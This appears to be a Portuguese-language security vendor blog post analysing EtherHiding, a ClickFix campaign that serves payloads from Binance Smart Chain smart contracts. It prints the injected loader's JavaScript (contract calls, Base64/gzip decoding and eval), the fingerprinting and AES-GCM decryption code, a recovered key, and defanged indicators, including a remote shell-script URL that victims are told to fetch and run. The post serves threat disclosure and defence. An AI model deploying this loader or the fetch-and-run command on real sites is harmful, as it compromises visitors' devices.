Skip to main content
Blog
Attacks Blog

A Blockchain Não É Sua Amiga: Analisando o EtherHiding e o Uso da Blockchain em Ataques

Em março/abril de 2025, uma variante do ClickFix circulou usando a blockchain da Binance com contratos inteligentes para controlar payloads de malware que surgiam a partir de um plugin WordPress comprometido.

Sep 02, 2025 • 10 min read
Banner sobre análise do EtherHiding e uso da blockchain em ataques
Share this post on X (Twitter) Visit cside on Instagram Share this post on LinkedIn

Resumo: entrega de payload ClickFix via smart contracts na Binance Smart Chain

  • Takedowns sao a metrica favorita do setor. EtherHiding aposenta a metrica. Quando o payload vive dentro de um smart contract da Binance Smart Chain, nao ha host para notificar, registrador para pressionar, nem servidor para desligar.
  • O contrato Orchid em 0x8FBA1667BEF5EdA433928b220886A830488549BD entregou cinco payloads Base64+gzip via funcoes getter em aproximadamente 19.800 sites comprometidos, terminando em um comando ClickFix de terminal decriptado com AES no ato. cside monitora o que o navegador realmente executa em runtime, entao payloads on-chain ficam visiveis assim que renderizam.
  • Se sua defesa se apoia em takedowns de dominio e listas de reputacao, aposente essa hipotese neste trimestre. Os atacantes mudaram para hospedagem imutavel e descentralizada, e seu unico checkpoint restante e o runtime no navegador do usuario.

Há menos de duas semanas, um dos muitos contratos inteligentes dormentes residentes na Binance Smart Chain voltou repentinamente à ativa. Variáveis do contrato foram atualizadas, payloads foram reativados, e o ataque agora está potencialmente ativo em mais de 19.800 sites comprometidos.

O ataque é conhecido como EtherHiding, e tem como foco principal o uso de contratos inteligentes em blockchain para entregar payloads dinâmicos no estilo ClickFix, uma falsa verificação de captcha, às vítimas. Escrevemos inicialmente sobre ataques ClickFix direcionados ao macOS em fevereiro, mas como acontece com todos os ataques, a forma de entrega mudou desde então. Essa classe crescente de ameaças client-side é cada vez mais difícil de detectar, quanto mais de mitigar.

Somos a cside, e monitoramos ataques de JavaScript de terceiros no lado do cliente. Só no primeiro trimestre de 2025, observamos mais de 300 mil sites comprometidos.

Por Que a Binance Smart Chain?

A Binance Smart Chain (BSC) é uma plataforma de blockchain em rápida expansão, projetada para executar aplicações baseadas em contratos inteligentes para usuários que desejam entrar no mundo das criptomoedas. Ao contrário de redes tradicionais (como o Ethereum, por exemplo), a BSC prioriza baixo custo de transação com alto volume de transações, o que a torna atraente não apenas para desenvolvedores de finanças descentralizadas, mas também para agentes de ameaças.

Usando esses contratos inteligentes, um agente malicioso pode armazenar payloads maliciosos on-chain, o que oferece algumas vantagens em relação à infraestrutura de nuvem tradicional:

  • Hospedagem imutável (pois uma vez na blockchain, existe para sempre)
  • Armazenamento descentralizado sem possibilidade de remoção
  • Atualização em tempo real por meio de funções do contrato

Nessa campanha de EtherHiding, funções getter e setter dentro desses contratos são usadas para entregar payloads JavaScript que se adaptam ao ambiente da vítima. Eles são descriptografados e descomprimidos no navegador e, em seguida, executados.

Analisando a Cadeia de Ataque

O ataque começa com a injeção de código malicioso na tag <head> de um site, principalmente em instalações WordPress. Nossa análise aponta plugins vulneráveis como o vetor de acesso mais provável. Uma vez inserido o código malicioso no site, ele desencadeia um ataque em múltiplos estágios que busca seus próximos passos na própria blockchain.

Diagrama do fluxo do ataque EtherHiding que começa com código injetado no head da página

Etapa 1: Comprometimento Inicial e Configuração

O primeiro ponto de contato desse script malicioso não é um servidor controlado pelo atacante, mas sim uma conexão Web3 com a Binance Smart Chain. O script se conecta ao contrato inteligente no endereço 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53, iniciando o ataque ao solicitar instruções adicionais desse contrato.

O ABI do contrato retornado (Application Binary Interface, ou uma lista de instruções do contrato) e as informações são codificados em Base64 e comprimidos com gzip, exigindo que o script os descomprima usando a biblioteca pako (uma implementação JavaScript da biblioteca de compressão zlib) antes de serem interpretados e utilizados.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");

  

const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

Após estabelecer contato, o script chama uma função da blockchain para retornar o endereço do próximo contrato inteligente, localizado em 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Etapa 2: Carregador de Múltiplos Payloads via tokyoSkytree

O contrato **0x8FBA1667BEF5EdA433928b220886A830488549BD**, internamente chamado de contrato Orchid, é o contrato mais importante da cadeia de ataque.

Dentro desse contrato há cinco funções essenciais que determinam o que acontece a seguir no ataque:

  • tokyoSkytree
  • akihabaraLights
  • asakusaTemple
  • ginzaLuxury
  • shibuyaCrossing

O núcleo do ataque é iniciado pela função **tokyoSkytree**, que funciona como um carregador e orquestrador controlado remotamente para todo o payload. Ela executa as outras quatro funções do contrato inteligente uma após a outra, cada uma retornando um blob JavaScript comprimido e codificado em Base64 para ofuscar ainda mais suas respostas.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

Cada uma dessas funções do contrato inteligente retorna um payload que é decodificado e executado dinamicamente pela função **teaCeremony**:


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

Esse pipeline (simplificado) decodifica a string Base64, a descomprime com gzip e a executa usando a função eval. Esse design torna a campanha de ataque modular e ágil, já que os payloads armazenados on-chain podem ser substituídos com extrema rapidez.

Etapa 3: Fingerprinting da Vítima

shibuyaCrossing, Determinar o sistema operacional


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

akihabaraLights, Determinar o navegador


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

As duas funções shibuyaCrossing e akihabaraLights são usadas para fazer o fingerprinting do ambiente da vítima por meio das informações de sistema operacional e navegador. Essas informações são usadas posteriormente para servir uma versão específica do ataque com base no navegador ou sistema operacional utilizado.

Etapa 4: Descriptografia e Injeção do Payload

Após o fingerprinting do ambiente do usuário, **ginzaLuxury** acessa um terceiro e último contrato inteligente (localizado em 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, chamado de contrato Jade) que carrega mais funções.

Destaque para: **getRandomSkylineByBrowserAndPlatform**.

Essa função, após receber as variáveis de navegador e sistema operacional determinadas anteriormente, retorna uma URL para buscar o HTML criptografado a ser exibido. Ao baixar esse payload e descriptografá-lo com a função **pearlTower**, que contém uma chave de descriptografia AES-GCM, o ataque é finalmente injetado em uma tag iframe em tela cheia que sobrepõe a tela da vítima.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

Com base em nossa pesquisa, a única URL atualmente ativa é **https://yie-cpj[.]pages[.]dev/mac**, que possui um payload ativo para usuários de Firefox, Google Chrome e Safari no macOS.

Etapa 5: Analisando o HTML Criptografado

Para validar o estágio final desse ataque, decodificamos e analisamos o HTML criptografado hospedado em **https://yie-cpj[.]pages[.]dev/mac**. Usando um script desenvolvido durante a pesquisa, conseguimos coletar as transações da blockchain, decodificar cada payload enviado ao contrato e determinar a última chave de descriptografia válida utilizada.

A chave **5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=** pode ser usada para descriptografar o payload HTML com a função de descriptografia **decryptScrollToText**:


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

O HTML resultante é um payload de phishing no estilo ClickFix, projetado para parecer uma página de verificação reCAPTCHA. Em vez de validar o usuário por meio de imagens, ele instrui a vítima a:

  1. Abrir o terminal do macOS
  2. Colar e executar um comando codificado em Base64 que é recuperado dinamicamente da função **jadeCode()** on-chain
Página de verificação falsa que instrui os usuários a colar e executar um comando codificado em Base64

O comando de terminal exibido aos usuários usa Base64 para ofuscar a URL do payload: https://kimbeech[.]cfd/cap/verify.sh.

Embora a URL estivesse inativa no momento da análise e o script **verify[.]sh** não pudesse ser recuperado para exame mais aprofundado, a estrutura e o método de entrega não deixam dúvidas sobre a verdadeira intenção do atacante.

Ao instruir a vítima a executar um comando injetado na área de transferência em seu terminal, o atacante tenta executar um script Bash remoto sob o pretexto de um processo familiar de verificação CAPTCHA. Essa é uma característica central da técnica de engenharia social ClickFix e representa um risco sério de comprometimento total do dispositivo.

Por Que a Segurança Client-Side Importa Mais do Que Nunca

Ataques como o EtherHiding demonstram o quanto as ameaças client-side evoluíram no cenário atual. Esses ataques são modulares, ofuscados e, como o EtherHiding, podem ser entregues inteiramente por meio de infraestrutura descentralizada que não pode ser derrubada.

Como o payload vive dentro do navegador e reage com base no ambiente do usuário, esses ataques conseguem passar despercebidos pelas proteções tradicionais do lado do servidor. Eles nem precisam explorar o servidor em si. Tudo o que precisam é que a vítima carregue a página.

Manter-se à frente dessas ameaças significa não apenas monitorar seu código, mas também o que seu navegador está executando. Isso inclui coisas como scripts de terceiros, assets injetados e manter um olhar atento sobre comportamentos que podem mudar em tempo real. À medida que as superfícies de ataque client-side se tornam cada vez mais complexas, nossa abordagem de defesa também precisa evoluir.

Glossário

Nome

Endereço do Contrato

Finalidade

Loader

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

Contrato inicial que fornece o ABI e o endereço do orchid

Orchid

0x8FBA1667BEF5EdA433928b220886A830488549BD

Lógica principal de execução que entrega JavaScript em Base64 + gzip

Jade

0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

Armazena URLs de payloads criptografados e chaves AES-GCM

URL

Comportamento

https://yie-cpj[.]pages[.]dev/mac

Overlay de phishing CAPTCHA em tela cheia (direcionado ao macOS)

https://hfdjmoedkjf[.]asia/

Endpoint de telemetria usado para registrar strings de user-agent

https://kimbeech[.]cfd/

URL do script shell remoto (atualmente inativo)

https://orange-service[.]xyz

Endpoint de telemetria na página do ataque, também usado para registrar strings de user-agent

Contrato

Função

Papel no Ataque

Orchid

tokyoSkytree()

Ponto de entrada que carrega e executa as demais funções do contrato

Orchid

shibuyaCrossing()

Retorna o script de detecção do sistema operacional

Orchid

akihabaraLights()

Retorna o script de detecção do navegador

Orchid

ginzaLuxury()

Carrega o contrato Jade e também aciona o fluxo de descriptografia e renderização

Orchid

asakusaTemple()

Envia dados de telemetria de volta ao agente de ameaça

Jade 

getRandomSkylineByBrowserAndPlatform()

Retorna a chave de descriptografia AES-GCM para os payloads de popup HTML

Jade

pearlTower()

Expõe todos os mapeamentos de payload com URLs

Jade

getAllSkylines()

Permite ao atacante alterar a chave de descriptografia (ex.: rotacionar a criptografia)

Jade

setPearlTower()


Permite ao atacante trocar as URLs de payload em múltiplas plataformas

Jack LaFond
Security Researcher

I'm a security engineer + security researcher at cside.

Don't just take our word for it, ask AI

Ask ChatGPT
Ask Perplexity AI
Ask Gemini
Grok Ask Grok
Ask Claude
Ask Copilot

Monitore e Proteja Seus Scripts de Terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.
Agende uma demonstração
Comece gratuitamente

Comece grátis, ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração